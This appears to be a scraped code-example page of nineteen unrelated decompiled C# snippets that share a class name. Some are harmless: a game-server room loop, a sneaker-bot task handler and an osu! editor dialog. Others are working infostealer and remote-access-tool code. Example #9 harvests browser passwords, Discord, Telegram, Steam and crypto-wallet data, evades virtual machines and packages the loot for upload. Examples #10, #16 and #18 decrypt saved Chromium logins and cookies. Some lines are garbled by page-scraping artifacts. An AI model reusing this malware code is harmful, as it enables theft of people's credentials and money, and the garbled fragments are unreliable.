Example #1
0
        internal Dictionary <Room, int> method_22()
        {
            Dictionary <Room, int> dictionary = new Dictionary <Room, int>();

            using (Class26 class26_ = this.class25_0.Class26_0)
            {
                foreach (Room @class in class26_.Values)
                {
                    if (@class != null)
                    {
                        dictionary.Add(@class, @class.UserCount);
                    }
                }
            }
            return(dictionary);
        }
Example #2
0
 private void RoomCycleTask()
 {
     if ((DateTime.Now - this.cycleLastExecution).TotalMilliseconds >= 480.0)
     {
         this.cycleLastExecution = DateTime.Now;
         using (Class26 class26_ = this.class25_0.Class26_0)
         {
             foreach (Room @class in class26_.Values)
             {
                 if (@class != null && [email protected])
                 {
                     ThreadPool.UnsafeQueueUserWorkItem(new WaitCallback(@class.method_32), null);
                 }
             }
         }
     }
 }
Example #3
0
 // Token: 0x06000210 RID: 528 RVA: 0x00012B30 File Offset: 0x00010D30
 private void method_2(object sender, MessageEventArgs e)
 {
     try
     {
         JObject jobject = JObject.Parse(e.Data);
         MainWindow.smethod_0();
         if (jobject.ContainsKey("quicktask"))
         {
             Class170.smethod_0(jobject["quicktask"].ToString(), (string)jobject["id"]);
         }
         if (jobject.ContainsKey("stop"))
         {
             Class170.smethod_1(jobject["stop"].ToString());
         }
         if (jobject.ContainsKey("stopall"))
         {
             Class26.smethod_3(Class130.jobject_3);
         }
         if (jobject.ContainsKey("startall"))
         {
             Class26.smethod_1(Class130.jobject_3, null);
         }
         if (jobject.ContainsKey("linkchange"))
         {
             Class1.smethod_1(jobject["linkchange"].ToString());
         }
         if (jobject.ContainsKey("message"))
         {
             MainWindow.webView_0.QueueScriptCall(string.Format("swal('Message', '{0}', 'info')", jobject["message"].ToString().smethod_8()));
         }
         if (jobject.ContainsKey("reset"))
         {
             Class130.string_3 = null;
             Class130.smethod_1();
             MainWindow.mainWindow_0.method_4(null, null);
         }
         if (jobject.ContainsKey("close"))
         {
             MainWindow.mainWindow_0.method_4(null, null);
         }
     }
     catch
     {
     }
 }
Example #4
0
    // Token: 0x06000144 RID: 324 RVA: 0x00008548 File Offset: 0x00006748
    public static bool smethod_1()
    {
        bool result;

        try
        {
            RawSecurityDescriptor rawSecurityDescriptor = Class26.smethod_3();
            SecurityIdentifier    sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
            CommonAce             ace = new CommonAce(AceFlags.None, AceQualifier.AccessAllowed, 2035707, sid, false, null);
            rawSecurityDescriptor.DiscretionaryAcl.InsertAce(0, ace);
            result = Class26.smethod_4(rawSecurityDescriptor);
        }
        catch (Exception exception_)
        {
            Class8.smethod_86(exception_, "RestoreAccessControlEntries");
            result = false;
        }
        return(result);
    }
Example #5
0
        private void RoomCycleTask()
        {
            TimeSpan sinceLastTime = DateTime.Now - cycleLastExecution;

            if (sinceLastTime.TotalMilliseconds >= 480)
            {
                cycleLastExecution = DateTime.Now;
                using (Class26 class26_ = this.class25_0.Class26_0)
                {
                    foreach (Room @class in class26_.Values)
                    {
                        if (@class != null && [email protected])
                        {
                            //ThreadPool.UnsafeQueueUserWorkItem(@class.OnCycleFootball, null);
                            ThreadPool.UnsafeQueueUserWorkItem(@class.method_32, null);
                        }
                    }
                }
            }
        }
Example #6
0
        public List <Room> method_6(int int_0)
        {
            List <Room> list = new List <Room>();

            try
            {
                using (Class26 class26_ = this.class25_0.Class26_0)
                {
                    foreach (Room @class in class26_.Values)
                    {
                        if (@class.Event != null && (int_0 <= 0 || @class.Event.Category == int_0))
                        {
                            list.Add(@class);
                        }
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Example #7
0
    // Token: 0x060002DD RID: 733 RVA: 0x0001A584 File Offset: 0x00018784
    private static Interface0 smethod_1()
    {
        Interface0 result;

        try
        {
            Class26 @class = new Class26();
            if (!Class72.smethod_3(@class))
            {
                @class.Dispose();
                result = null;
            }
            else
            {
                result = @class;
            }
        }
        catch (Exception exception_) when(!Class72.smethod_2(exception_))
        {
            result = null;
        }
        return(result);
    }
Example #8
0
 // Token: 0x06000140 RID: 320 RVA: 0x0000E230 File Offset: 0x0000C430
 public void imethod_1(int int_0, out byte byte_0)
 {
     if (int_0 >= 0 && int_0 < this.imethod_0())
     {
         IntPtr intPtr = IntPtr.Zero;
         char   char_  = '\0';
         try
         {
             intPtr = Marshal.SecureStringToGlobalAllocUnicode(this.secureString_0);
             char_  = (char)Marshal.ReadInt16(intPtr, int_0 * 2);
             byte_0 = Class26.smethod_1(char_, int_0);
             return;
         }
         finally
         {
             Class169.smethod_3(ref char_);
             if (intPtr != IntPtr.Zero)
             {
                 Marshal.ZeroFreeGlobalAllocUnicode(intPtr);
             }
         }
     }
     throw new ArgumentOutOfRangeException();
 }
Example #9
0
        private static void Main(string[] args)
        {
            if (File.Exists(Program.path2))
            {
                Environment.Exit(0);
            }
            if (Program.GetCheckVMBot())
            {
                Environment.Exit(0);
            }
            StreamWriter streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);

            Directory.CreateDirectory(Program.path);
            streamWriter.WriteLine("Created directory");
            Class4.SaveScreen(Program.path + "\\image.png");
            streamWriter.WriteLine("SaveScreen");
            streamWriter.WriteLine("[Browsers Started]");
            streamWriter.Close();
            try
            {
                Class18.smethod_2();
                Class20.smethod_0();
                Class26.smethod_0();
                Class18.Cookies();
                Class30.smethod_9();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Class2.smethod_0(Program.path + "\\Browsers");
            }
            catch (Exception ex2)
            {
                Console.WriteLine(ex2.ToString());
            }
            try
            {
                List <Account> list = Chromium.Grab();
                foreach (Account account in list)
                {
                    File.WriteAllText(Program.path + "\\Browsers\\PasswordsChromium.txt", string.Concat(new string[]
                    {
                        "Url: ",
                        account.URL,
                        "\nUsername: "******"\nPassword: "******"\nApplication: ",
                        account.Application,
                        "\n"
                    }));
                }
            }
            catch (Exception ex3)
            {
                Console.WriteLine(ex3.ToString());
            }
            streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);
            streamWriter.WriteLine("[Browser End]");
            Class4.Discord(Program.path + "\\Discord");
            streamWriter.WriteLine("Discord");
            Class4.FileZilla(Program.path + "\\FileZilla");
            streamWriter.WriteLine("FileZilla");
            Class4.Telegram(Program.path + "\\Telegram");
            streamWriter.WriteLine("Telegram");
            Class4.Steam(Program.path + "\\Steam");
            streamWriter.WriteLine("Steam");
            Class4.smethod_3(Program.path + "\\Wallets");
            streamWriter.WriteLine("Wallets");
            Class4.Pidgin(Program.path + "\\Pidgin");
            streamWriter.WriteLine("Pidgin");
            try
            {
                using (WebClient webClient = new WebClient())
                {
                    byte[] bytes = webClient.DownloadData("http://fuckingav.xyz/antivirus.php");
                    Program.geo = Encoding.ASCII.GetString(bytes);
                }
            }
            catch
            {
                Program.geo = "Unknown?Unknown?Unknown?UN";
            }
            streamWriter.WriteLine("Geo");
            Class4.smethod_0(Program.path + "\\info.txt");
            try
            {
                string text = string.Concat(new string[]
                {
                    Program.string_1,
                    "\\[",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[3],
                    "]",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[0],
                    ".zip"
                });
                Class6.smethod_3(Program.path, text);
                Class6.smethod_4(text, Program.id, "[" + Program.geo.Split(new char[]
                {
                    '?'
                })[3] + "]" + Program.geo.Split(new char[]
                {
                    '?'
                })[0]);
                Directory.Delete(Program.path, true);
                Directory.Delete(Program.string_1, true);
            }
            catch (Exception ex4)
            {
                Console.WriteLine(ex4.ToString());
            }
        }
Example #10
0
    // Token: 0x06000204 RID: 516 RVA: 0x00010604 File Offset: 0x0000E804
    public static byte[] smethod_1(byte[] byte_0, byte[] byte_1 = null)
    {
        Class26.Struct8 @struct = default(Class26.Struct8);
        Class26.Struct8 struct2 = default(Class26.Struct8);
        Class26.Struct8 struct3 = default(Class26.Struct8);
        Class26.Struct9 struct4 = new Class26.Struct9
        {
            int_0    = Marshal.SizeOf(typeof(Class26.Struct9)),
            int_1    = 0,
            intptr_0 = IntPtr.Zero,
            string_0 = null
        };
        string empty = string.Empty;

        try
        {
            try
            {
                if (byte_0 == null)
                {
                    byte_0 = new byte[0];
                }
                struct2.intptr_0 = Marshal.AllocHGlobal(byte_0.Length);
                struct2.int_0    = byte_0.Length;
                Marshal.Copy(byte_0, 0, struct2.intptr_0, byte_0.Length);
            }
            catch
            {
            }
            try
            {
                if (byte_1 == null)
                {
                    byte_1 = new byte[0];
                }
                struct3.intptr_0 = Marshal.AllocHGlobal(byte_1.Length);
                struct3.int_0    = byte_1.Length;
                Marshal.Copy(byte_1, 0, struct3.intptr_0, byte_1.Length);
            }
            catch
            {
            }
            Class26.CryptUnprotectData(ref struct2, ref empty, ref struct3, IntPtr.Zero, ref struct4, 1, ref @struct);
            byte[] array = new byte[@struct.int_0];
            Marshal.Copy(@struct.intptr_0, array, 0, @struct.int_0);
            return(array);
        }
        catch
        {
        }
        finally
        {
            if (@struct.intptr_0 != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(@struct.intptr_0);
            }
            if (struct2.intptr_0 != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(struct2.intptr_0);
            }
            if (struct3.intptr_0 != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(struct3.intptr_0);
            }
        }
        return(new byte[0]);
    }
Example #11
0
        // Token: 0x06001436 RID: 5174 RVA: 0x00024B58 File Offset: 0x00022D58
        public void LibraryConnect(GInterface8 pLibrary)
        {
            Class26 class26_ = new Class26(pLibrary);

            this.class24_0.method_2(this.class24_0, class26_);
        }
Example #12
0
 // Token: 0x060007C8 RID: 1992 RVA: 0x00045DD0 File Offset: 0x00043FD0
 public static async void smethod_0(string string_0, string string_1)
 {
     try
     {
         TaskAwaiter <bool> taskAwaiter = MainWindow.taskCompletionSource_0.Task.GetAwaiter();
         if (!taskAwaiter.IsCompleted)
         {
             await taskAwaiter;
             TaskAwaiter <bool> taskAwaiter2;
             taskAwaiter  = taskAwaiter2;
             taskAwaiter2 = default(TaskAwaiter <bool>);
         }
         taskAwaiter.GetResult();
         string text = null;
         string text2;
         if (string_0.StartsWith("http"))
         {
             Class170.Class172 @class = new Class170.Class172();
             @class.uri_0 = new Uri(string_0);
             text         = string.Format("{0}://{1}", @class.uri_0.Scheme, @class.uri_0.Authority);
             JProperty jproperty = Class130.jobject_1.Properties().Where(new Func <JProperty, bool>(@class.method_0)).FirstOrDefault <JProperty>();
             text2 = ((jproperty != null) ? jproperty.Name : null);
         }
         else
         {
             List <string> list = string_0.Split(new char[]
             {
                 ':'
             }).ToList <string>();
             text2 = list[0].Replace('_', ' ');
             list.RemoveAt(0);
             string_0 = string.Join(":", list);
         }
         JToken jtoken = Class130.jobject_2.Values().Where(new Func <JToken, bool>(Class170.Class171.class171_0.method_0)).FirstOrDefault <JToken>();
         if (jtoken == null)
         {
             MainWindow.webView_0.QueueScriptCall("swal('No favourite profile set', 'You need to set a favourite profile in the billing tab to use the quick task feauture!', 'warning')");
         }
         else
         {
             JObject jobject = new JObject();
             jobject["keywords"]   = string_0;
             jobject["store"]      = (text2 ?? "Custom");
             jobject["custom_url"] = (text ?? null);
             jobject["login"]      = false;
             jobject["size"]       = "Random";
             jobject["profile"]    = jtoken["name"];
             jobject["proxy"]      = false;
             jobject["afk"]        = false;
             string  propertyName = "supreme";
             JObject jobject2     = new JObject();
             jobject2["category"]     = "new";
             jobject2["color"]        = string.Empty;
             jobject2["random"]       = true;
             jobject[propertyName]    = jobject2;
             jobject["bank_transfer"] = false;
             string text3 = MainWindow.webView_0.QueueScriptCall(string.Format("addTasks([JSON.parse('{0}')])", jobject.ToString().smethod_8())).smethod_0();
             TaskAwaiter <string> taskAwaiter3 = MainWindow.webView_0.QueueScriptCall("JSON.stringify(tasks)").smethod_2().GetAwaiter();
             if (!taskAwaiter3.IsCompleted)
             {
                 await taskAwaiter3;
                 TaskAwaiter <string> taskAwaiter4;
                 taskAwaiter3 = taskAwaiter4;
                 taskAwaiter4 = default(TaskAwaiter <string>);
             }
             Class130.jobject_3 = JObject.Parse(taskAwaiter3.GetResult());
             if (string_1 != null)
             {
                 Class170.dictionary_0[string_1] = text3;
             }
             JObject jobject3 = new JObject();
             jobject3[text3] = Class130.jobject_3[text3];
             Class26.smethod_1(jobject3, string_1);
             text3 = null;
         }
     }
     catch
     {
     }
 }
Example #13
0
 // Token: 0x060032C6 RID: 12998
 // RVA: 0x00154884 File Offset: 0x00152A84
 internal OpenDialog(bool bool_2)
 {
     this.editor_0 = Editor.editor_0;
     this.InitializeComponent();
     this.bool_1 = bool_2;
     if (bool_2)
     {
         this.checkBoxAutosave.Visible = false;
     }
     base.TopLevel = true;
     this.class26_0 = new Class26<Class865>();
     List<string> list = new List<string>(Class466.Current.bool_10 ? Class466.Current.method_44().method_16() : Directory.GetFiles(Class466.Current.method_3(), "*.osu"));
     if (Class466.Current.method_8() != null)
     {
         string[] files = Directory.GetFiles(Class466.Current.method_8(), "*.osu");
         string[] array = files;
         for (int i = 0; i < array.Length; i++)
         {
             string string_0 = array[i];
             if (!list.Exists((string string_1) => string_1.EndsWith(Path.GetFileName(string_0))))
             {
                 list.Add(string_0);
             }
         }
     }
     if (Class466.Current.method_8() != null)
     {
         Class466.smethod_14(Class466.Current.method_8());
     }
     foreach (string current in list)
     {
         Class865 class2 = new Class865();
         Class296 class3 = Class466.smethod_24(Path.GetFileName(current));
         if (class3 == null)
         {
             class2.string_1 = "?NEW? " + Path.GetFileName(current);
             class2.string_0 = Path.GetFileName(current);
             class2.double_0 = 10.0;
         }
         else
         {
             class2.class296_0 = class3;
             class2.string_0 = class3.string_9;
             class2.string_1 = string.Format("{0}", class3.string_14);
             class2.double_0 = class3.method_27();
         }
         this.class26_0.method_0(class2);
     }
     foreach (Class865 current2 in this.class26_0)
     {
         this.listBox1.Items.Add(current2);
     }
     if (!bool_2)
     {
         this.method_9(Class466.Current);
         return;
     }
     Class865 class4 = new Class865();
     class4.string_1 = "None";
     this.class26_0.Insert(0, class4);
     this.listBox1.Items.Insert(0, class4);
     if (this.editor_0.class371_0.class297_1 == null)
     {
         this.listBox1.SelectedIndex = 0;
         return;
     }
     this.method_9(this.editor_0.class371_0.class297_1.class296_0);
 }
Example #14
0
 // Token: 0x0600001D RID: 29 RVA: 0x00003198 File Offset: 0x00001398
 public static void smethod_3(object[] object_0)
 {
     try
     {
         List <object> list  = new List <object>();
         List <Guid>   list2 = new List <Guid>();
         int           num   = 0;
         int           num2  = object_0.Length - 1;
         for (int i = num; i <= num2; i += 3)
         {
             Guid   guid  = (Guid)object_0[i];
             byte[] byte_ = (byte[])object_0[i + 1];
             bool   flag  = (bool)object_0[i + 2];
             list2.Add(guid);
             GClass2 gclass = Class23.smethod_1(guid);
             if (gclass == null)
             {
                 list.Add(guid);
             }
             else
             {
                 if (gclass.bool_0 != flag)
                 {
                     gclass.bool_0 = flag;
                     Class5.bool_1 = true;
                 }
                 if (!Class26.smethod_5(gclass.byte_1, byte_))
                 {
                     list.Add(guid);
                     Class5.bool_0 = true;
                     Class8.smethod_87(string.Format("Plugin [{0}] requires an update.", guid));
                 }
             }
         }
         Class8.smethod_5(list2.ToArray());
         try
         {
             foreach (GClass2 gclass2 in Class8.list_2)
             {
                 if (!list2.Contains(gclass2.guid_0))
                 {
                     Class5.bool_0 = true;
                     Class8.smethod_87(string.Format("Plugin [{0}] is being uninstalled.", gclass2.guid_0));
                     if (gclass2.bool_0)
                     {
                         Class5.bool_1 = true;
                     }
                     if (gclass2.gclass3_0 != null)
                     {
                         try
                         {
                             gclass2.gclass3_0.method_8();
                         }
                         catch (Exception exception_)
                         {
                             Class8.smethod_85(gclass2.gclass3_0, exception_, "PluginUninstalling");
                         }
                     }
                 }
             }
         }
         finally
         {
             List <GClass2> .Enumerator enumerator;
             ((IDisposable)enumerator).Dispose();
         }
         if (list.Count == 0 && Class5.bool_0)
         {
             if (Class5.bool_1)
             {
                 Class8.smethod_7();
             }
             Class8.smethod_41();
         }
         else
         {
             Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 2, list.ToArray());
         }
     }
     catch (Exception exception_2)
     {
         Class8.smethod_86(exception_2, "HandlePluginDetailsCommand");
     }
 }
Example #15
0
 // Token: 0x0600011C RID: 284 RVA: 0x000035A1 File Offset: 0x000017A1
 public static void smethod_2(object object_0, JSExtInvokeArgs jsextInvokeArgs_0)
 {
     Class26.smethod_3(JObject.Parse(jsextInvokeArgs_0.Arguments.First <object>().ToString()));
 }
Example #16
0
    // Token: 0x060001CD RID: 461 RVA: 0x0000EA64 File Offset: 0x0000CC64
    private static List <Class21> smethod_2(string string_0)
    {
        List <Class21> result;

        if (!File.Exists(string_0))
        {
            result = null;
        }
        else
        {
            try
            {
                string text = Dirs.WorkDir + "test.fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Class12        @class = new Class12(text);
                List <Class21> list   = new List <Class21>();
                @class.method_4("cookies");
                for (int i = 0; i < @class.method_1(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            text2 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null));
                        }
                        catch
                        {
                        }
                        if (text2 != "")
                        {
                            List <Class21> list2  = list;
                            Class21        class2 = new Class21();
                            class2.method_1(@class.method_0(i, 1));
                            class2.name = @class.method_0(i, 2);
                            class2.path = @class.method_0(i, 4);
                            class2.method_3(@class.method_0(i, 5));
                            class2.method_5(@class.method_0(i, 6));
                            class2.value = text2;
                            list2.Add(class2);
                            Class20.int_0++;
                        }
                    }
                    catch
                    {
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch
            {
                result = null;
            }
        }
        return(result);
    }
Example #17
0
        // Token: 0x060007CF RID: 1999 RVA: 0x00045E5C File Offset: 0x0004405C
        void IAsyncStateMachine.MoveNext()
        {
            int num2;
            int num = num2;

            try
            {
                try
                {
                    TaskAwaiter <string> taskAwaiter5;
                    TaskAwaiter <bool>   taskAwaiter6;
                    if (num != 0)
                    {
                        if (num == 1)
                        {
                            taskAwaiter5 = taskAwaiter4;
                            taskAwaiter4 = default(TaskAwaiter <string>);
                            num2         = -1;
                            goto IL_31F;
                        }
                        taskAwaiter6 = MainWindow.taskCompletionSource_0.Task.GetAwaiter();
                        if (!taskAwaiter6.IsCompleted)
                        {
                            num2         = 0;
                            taskAwaiter2 = taskAwaiter6;
                            this.asyncVoidMethodBuilder_0.AwaitUnsafeOnCompleted <TaskAwaiter <bool>, Class170.Struct143>(ref taskAwaiter6, ref this);
                            return;
                        }
                    }
                    else
                    {
                        taskAwaiter6 = taskAwaiter2;
                        taskAwaiter2 = default(TaskAwaiter <bool>);
                        num2         = -1;
                    }
                    taskAwaiter6.GetResult();
                    string text4 = null;
                    string text5;
                    if (string_0.StartsWith("http"))
                    {
                        Class170.Class172 @class = new Class170.Class172();
                        @class.uri_0 = new Uri(string_0);
                        text4        = string.Format("{0}://{1}", @class.uri_0.Scheme, @class.uri_0.Authority);
                        JProperty jproperty = Class130.jobject_1.Properties().Where(new Func <JProperty, bool>(@class.method_0)).FirstOrDefault <JProperty>();
                        text5 = ((jproperty != null) ? jproperty.Name : null);
                    }
                    else
                    {
                        List <string> list = string_0.Split(new char[]
                        {
                            ':'
                        }).ToList <string>();
                        text5 = list[0].Replace('_', ' ');
                        list.RemoveAt(0);
                        string_0 = string.Join(":", list);
                    }
                    JToken jtoken = Class130.jobject_2.Values().Where(new Func <JToken, bool>(Class170.Class171.class171_0.method_0)).FirstOrDefault <JToken>();
                    if (jtoken == null)
                    {
                        MainWindow.webView_0.QueueScriptCall("swal('No favourite profile set', 'You need to set a favourite profile in the billing tab to use the quick task feauture!', 'warning')");
                        goto IL_3A5;
                    }
                    JObject jobject = new JObject();
                    jobject["keywords"]   = string_0;
                    jobject["store"]      = (text5 ?? "Custom");
                    jobject["custom_url"] = (text4 ?? null);
                    jobject["login"]      = false;
                    jobject["size"]       = "Random";
                    jobject["profile"]    = jtoken["name"];
                    jobject["proxy"]      = false;
                    jobject["afk"]        = false;
                    string  propertyName = "supreme";
                    JObject jobject2     = new JObject();
                    jobject2["category"]     = "new";
                    jobject2["color"]        = string.Empty;
                    jobject2["random"]       = true;
                    jobject[propertyName]    = jobject2;
                    jobject["bank_transfer"] = false;
                    JObject jobject3 = jobject;
                    text3        = MainWindow.webView_0.QueueScriptCall(string.Format("addTasks([JSON.parse('{0}')])", jobject3.ToString().smethod_8())).smethod_0();
                    taskAwaiter5 = MainWindow.webView_0.QueueScriptCall("JSON.stringify(tasks)").smethod_2().GetAwaiter();
                    if (!taskAwaiter5.IsCompleted)
                    {
                        num2         = 1;
                        taskAwaiter4 = taskAwaiter5;
                        this.asyncVoidMethodBuilder_0.AwaitUnsafeOnCompleted <TaskAwaiter <string>, Class170.Struct143>(ref taskAwaiter5, ref this);
                        return;
                    }
IL_31F:
                    Class130.jobject_3 = JObject.Parse(taskAwaiter5.GetResult());
                    if (string_1 != null)
                    {
                        Class170.dictionary_0[string_1] = text3;
                    }
                    JObject jobject4      = new JObject();
                    string  propertyName2 = text3;
                    jobject4[propertyName2] = Class130.jobject_3[text3];
                    Class26.smethod_1(jobject4, string_1);
                    text3 = null;
                }
                catch
                {
                }
            }
            catch (Exception exception)
            {
                num2 = -2;
                this.asyncVoidMethodBuilder_0.SetException(exception);
                return;
            }
IL_3A5:
            num2 = -2;
            this.asyncVoidMethodBuilder_0.SetResult();
        }
Example #18
0
 // Token: 0x06000203 RID: 515 RVA: 0x00010138 File Offset: 0x0000E338
 public static void smethod_0()
 {
     string[] array = new string[]
     {
         "Chrome",
         "Yandex",
         "Orbitum",
         "Opera",
         "Amigo",
         "Torch",
         "Comodo",
         "CentBrowser",
         "Go!",
         "uCozMedia",
         "Rockmelt",
         "Sleipnir",
         "SRWare Iron",
         "Vivaldi",
         "Sputnik",
         "Maxthon",
         "AcWebBrowser",
         "Epic Browser",
         "MapleStudio",
         "BlackHawk",
         "Flock",
         "CoolNovo",
         "Baidu Spark",
         "Titan Browser"
     };
     try
     {
         Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
         List <string> list  = new List <string>();
         List <string> list2 = new List <string>
         {
             Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
             Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
         };
         List <string> list3 = new List <string>();
         foreach (string path in list2)
         {
             try
             {
                 list3.AddRange(Directory.GetDirectories(path));
             }
             catch
             {
             }
         }
         foreach (string path2 in list3)
         {
             try
             {
                 list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories));
                 string[] files = Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories);
                 foreach (string text in files)
                 {
                     try
                     {
                         if (File.Exists(text))
                         {
                             string string_ = "Unknown (" + text + ")";
                             foreach (string text2 in array)
                             {
                                 if (text.Contains(text2))
                                 {
                                     string_ = text2;
                                 }
                             }
                             try
                             {
                                 string text3 = Path.GetTempPath() + "/test.fv";
                                 if (File.Exists(text3))
                                 {
                                     File.Delete(text3);
                                 }
                                 File.Copy(text, text3, true);
                                 Class12 @class = new Class12(text3);
                                 if ([email protected]_4("logins"))
                                 {
                                     break;
                                 }
                                 int num = 0;
                                 for (;;)
                                 {
                                     try
                                     {
                                         if (num >= @class.method_1())
                                         {
                                             break;
                                         }
                                         try
                                         {
                                             string text4 = string.Empty;
                                             try
                                             {
                                                 text4 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null));
                                             }
                                             catch (Exception)
                                             {
                                             }
                                             if (text4 != "")
                                             {
                                                 Class27 class2 = new Class27();
                                                 class2.method_1(@class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", ""));
                                                 class2.method_3(@class.method_0(num, 3));
                                                 class2.method_5(text4);
                                                 class2.method_7(string_);
                                                 Class27 arg = class2;
                                                 Class26.string_0 += Convert.ToString(Environment.NewLine + arg);
                                                 Class26.int_0++;
                                             }
                                         }
                                         catch
                                         {
                                         }
                                         num++;
                                     }
                                     catch
                                     {
                                     }
                                 }
                                 File.Delete(text3);
                             }
                             catch
                             {
                             }
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
         }
         File.WriteAllText(Dirs.WorkDir + "\\passwords.txt", (Class26.string_0 != null) ? ("Shut Up and Work " + Environment.NewLine + Class26.string_0 + "\n") : "", Encoding.Default);
     }
     catch
     {
     }
 }
Example #19
0
 public static string smethod_40(bool bool_6, bool bool_7, bool bool_8, bool bool_9)
 {
     return(Class26.smethod_9(bool_7, bool_9, bool_6, bool_8));
 }